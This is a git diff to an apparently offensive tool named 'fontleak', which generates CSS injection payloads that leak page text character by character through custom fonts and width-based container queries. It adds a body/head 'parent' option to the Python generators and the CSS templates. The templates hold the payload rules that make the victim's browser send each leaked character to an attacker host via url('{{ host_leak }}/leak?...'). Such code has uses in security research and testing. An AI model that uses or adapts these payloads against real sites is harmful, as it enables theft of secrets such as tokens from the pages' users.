diff --git a/fontleak/cssgen/dynamic.py b/fontleak/cssgen/dynamic.py index de77ec3..6775ce9 100644 --- a/fontleak/cssgen/dynamic.py +++ b/fontleak/cssgen/dynamic.py @@ -13,6 +13,7 @@ def generate( host_leak: str, leak_selector: str, browser: str, + parent: str = "body", ) -> str: if step > len(step_map): raise ValueError( @@ -41,6 +42,7 @@ def generate( "host": host, "host_leak": host_leak, "browser": browser, + "parent": parent, } return template.render(**context) @@ -74,6 +76,7 @@ def generate_sfc( leak_selector: str, browser: str, length: int, + parent: str = "body", ) -> str: html_width = length * (alphabet_size + 1) + 1 @@ -95,6 +98,7 @@ def generate_sfc( "host_leak": host_leak, "leak_selector": leak_selector, "browser": browser, + "parent": parent, } return template.render(**context) @@ -111,6 +115,7 @@ def generate_anim( host_leak: str, leak_selector: str, browser: str, + parent: str = "body", ) -> str: if idx_max > len(step_map): raise ValueError( @@ -138,6 +143,7 @@ def generate_anim( "host": host, "host_leak": host_leak, "browser": browser, + "parent": parent, } return template.render(**context) diff --git a/fontleak/cssgen/static.py b/fontleak/cssgen/static.py index 8a1e43d..d8ebaa8 100644 --- a/fontleak/cssgen/static.py +++ b/fontleak/cssgen/static.py @@ -13,6 +13,7 @@ def generate( host_leak: str, leak_selector: str, browser: str, + parent: str = "body", ) -> str: """Generate static CSS for font leak attacks""" # Calculate width containers for leak detection @@ -38,6 +39,7 @@ def generate( "host": host, "host_leak": host_leak, "browser": browser, + "parent": parent, } # Render CSS template diff --git a/fontleak/main.py b/fontleak/main.py index 21bf4b1..70ad9b6 100644 --- a/fontleak/main.py +++ b/fontleak/main.py @@ -115,6 +115,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()): prefix=params.prefix or "", strip=params.strip, length=params.length, + parent=params.parent, ) params.id = new_id @@ -148,6 +149,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()): host_leak=settings.host_leak, leak_selector=params.selector, browser=state.browser, + parent=params.parent, ) return Response( content=css, @@ -168,6 +170,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()): host_leak=settings.host_leak, leak_selector=params.selector, browser=state.browser, + parent=params.parent, ) return Response( content=css, @@ -189,6 +192,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()): leak_selector=params.selector, browser=state.browser, length=state.length, + parent=params.parent, ) return Response(content=css, media_type="text/css") @@ -252,6 +256,7 @@ def generate_static_payload( host_leak=settings.host_leak, leak_selector=params.selector, browser=browser, + parent=params.parent, ) return Response( diff --git a/fontleak/schemas.py b/fontleak/schemas.py index aa1d065..a151120 100644 --- a/fontleak/schemas.py +++ b/fontleak/schemas.py @@ -157,6 +157,10 @@ class LeakState(BaseModel): setup: BaseLeakSetupParams = Field( description="Setup parameters for the dynamic leak" ) + parent: str = Field( + default="body", + description="Parent element (body or head)", + ) browser: str = Field( default="all", description="Browser compatibility (all, chrome, firefox, safari)", diff --git a/templates/dynamic-anim.css.jinja b/templates/dynamic-anim.css.jinja index c6652b4..feaa587 100644 --- a/templates/dynamic-anim.css.jinja +++ b/templates/dynamic-anim.css.jinja @@ -20,11 +20,43 @@ html { top: 0 !important; left: 0 !important; display: grid !important; + {% if parent == "head" %} + grid-template-columns: auto 1fr; + {% else %} grid-template-columns: 1fr auto; + {% endif %} width: {{ html_width }}px !important; will-change: content, transform !important; } +{% if parent == "head" %} +head { + display: block !important; + width: auto !important; + height: auto !important; + position: static !important; +} + +body { + display: block !important; + container-type: size !important; + container-name: leak; + height: 100% !important; + width: 100% !important; + max-width: {{ html_width }}px !important; + background: blue !important; +} + +body::before { + display: block !important; + width: 0px !important; + height: 0px !important; + position: absolute !important; + top: 0 !important; + left: 0 !important; + content: ""; +} +{% else %} head { display: block !important; container-type: size !important; @@ -52,6 +84,7 @@ body { height: auto !important; position: static !important; } +{% endif %} @font-face { font-family: 'fontleak'; @@ -98,7 +131,11 @@ body { {% for container in width_containers %} @container leak (width: {{ container.width }}px) { + {% if parent == "head" %} + body::before { + {% else %} head::before { + {% endif %} content: var(--a, var(--b, url("{{ host_leak }}/leak?idx={{ container.char_idx }}&id={{ id }}"))); } } diff --git a/templates/dynamic-sfc.css.jinja b/templates/dynamic-sfc.css.jinja index a90904a..b76fec8 100644 --- a/templates/dynamic-sfc.css.jinja +++ b/templates/dynamic-sfc.css.jinja @@ -20,11 +20,43 @@ html { top: 0 !important; left: 0 !important; display: grid !important; + {% if parent == "head" %} + grid-template-columns: auto 1fr; + {% else %} grid-template-columns: 1fr auto; + {% endif %} width: {{ html_width }}px !important; will-change: content, transform !important; } +{% if parent == "head" %} +head { + display: block !important; + width: auto !important; + height: auto !important; + position: static !important; +} + +body { + display: block !important; + container-type: size !important; + container-name: leak; + height: 100% !important; + width: 100% !important; + max-width: {{ html_width }}px !important; + background: blue !important; +} + +body::before { + display: block !important; + width: 0px !important; + height: 0px !important; + position: absolute !important; + top: 0 !important; + left: 0 !important; + content: ""; +} +{% else %} head { display: block !important; container-type: size !important; @@ -52,6 +84,7 @@ body { height: auto !important; position: static !important; } +{% endif %} {% for i in range(idx_max) %} @font-face { @@ -97,7 +130,11 @@ body { {% for container in width_containers %} @container leak (width: {{ container.width }}px) { + {% if parent == "head" %} + body::before { + {% else %} head::before { + {% endif %} content: url("{{ host_leak }}/leak?step={{ container.step }}&idx={{ container.char_idx }}&id={{ id }}"); } } diff --git a/templates/dynamic.css.jinja b/templates/dynamic.css.jinja index fb6045d..938f85d 100644 --- a/templates/dynamic.css.jinja +++ b/templates/dynamic.css.jinja @@ -21,11 +21,44 @@ html { top: 0 !important; left: 0 !important; display: grid !important; + {% if parent == "head" %} + grid-template-columns: auto 1fr; + {% else %} grid-template-columns: 1fr auto; + {% endif %} width: {{ html_width }}px !important; will-change: content, transform !important; } +{% if parent == "head" %} +head { + display: block !important; + width: auto !important; + height: auto !important; + position: static !important; +} + +body { + display: block !important; + container-type: size !important; + container-name: leak; + height: 100% !important; + width: 100% !important; + max-width: {{ html_width }}px !important; + background: blue !important; +} + +/* Set up the body::before for reporting */ +body::before { + display: block !important; + width: 0px !important; + height: 0px !important; + position: absolute !important; + top: 0 !important; + left: 0 !important; + content: ""; +} +{% else %} head { display: block !important; container-type: size !important; @@ -53,6 +86,7 @@ body { height: auto !important; position: static !important; } +{% endif %} /* Target element styling */ {{ leak_selector }} { @@ -82,7 +116,11 @@ body { {% for container in width_containers %} @container leak (width: {{ container.width }}px) { + {% if parent == "head" %} + body::before { + {% else %} head::before { + {% endif %} content: url("{{ host_leak }}/leak?step={{ step }}&idx={{ container.char_idx }}&id={{ id }}"); } } diff --git a/templates/static-anim.css.jinja b/templates/static-anim.css.jinja index 123667c..8dbae1f 100644 --- a/templates/static-anim.css.jinja +++ b/templates/static-anim.css.jinja @@ -20,11 +20,43 @@ html { top: 0 !important; left: 0 !important; display: grid !important; + {% if parent == "head" %} + grid-template-columns: auto 1fr; + {% else %} grid-template-columns: 1fr auto; + {% endif %} width: {{ html_width }}px !important; will-change: content, transform !important; } +{% if parent == "head" %} +head { + display: block !important; + width: auto !important; + height: auto !important; + position: static !important; +} + +body { + display: block !important; + container-type: size !important; + container-name: leak; + height: 100% !important; + width: 100% !important; + max-width: {{ html_width }}px !important; + background: blue !important; +} + +body::before { + display: block !important; + width: 0px !important; + height: 0px !important; + position: absolute !important; + top: 0 !important; + left: 0 !important; + content: ""; +} +{% else %} head { display: block !important; container-type: size !important; @@ -52,6 +84,7 @@ body { height: auto !important; position: static !important; } +{% endif %} @font-face { font-family: 'fontleak'; @@ -98,7 +131,11 @@ body { {% for container in width_containers %} @container leak (width: {{ container.width }}px) { + {% if parent == "head" %} + body::before { + {% else %} head::before { + {% endif %} content: var(--a, var(--b, url("{{ host_leak }}/leak?idx={{ container.char_idx }}&sid={{ id }}"))); } } diff --git a/templates/static.css.jinja b/templates/static.css.jinja index b6a1de5..c8ba9a5 100644 --- a/templates/static.css.jinja +++ b/templates/static.css.jinja @@ -20,11 +20,47 @@ html { top: 0 !important; left: 0 !important; display: grid !important; + {% if parent == "head" %} + grid-template-columns: auto 1fr; + {% else %} grid-template-columns: 1fr auto; + {% endif %} width: {{ html_width }}px !important; will-change: content, transform !important; } +{% if parent == "head" %} +head { + display: block !important; + width: auto !important; + height: auto !important; + position: static !important; +} + +body { + display: block !important; + container-type: size !important; + container-name: leak; + height: 100% !important; + width: 100% !important; + max-width: {{ html_width }}px !important; + background: blue !important; + animation: indexCycle {{ idx_max * 0.05 }}s steps(1) infinite 1s; + {% for container in width_containers %} + --i{{ container.width }}: ""; + {% endfor %} +} + +body::before { + display: block !important; + width: 0px !important; + height: 0px !important; + position: absolute !important; + top: 0 !important; + left: 0 !important; + content: ""; +} +{% else %} head { display: block !important; container-type: size !important; @@ -56,6 +92,7 @@ body { height: auto !important; position: static !important; } +{% endif %} @font-face { font-family: 'fontleak'; @@ -112,7 +149,11 @@ body { {% for container in width_containers %} @container leak (width: {{ container.width }}px) { + {% if parent == "head" %} + body::before { + {% else %} head::before { + {% endif %} content: var(--i{{ container.width }}); } }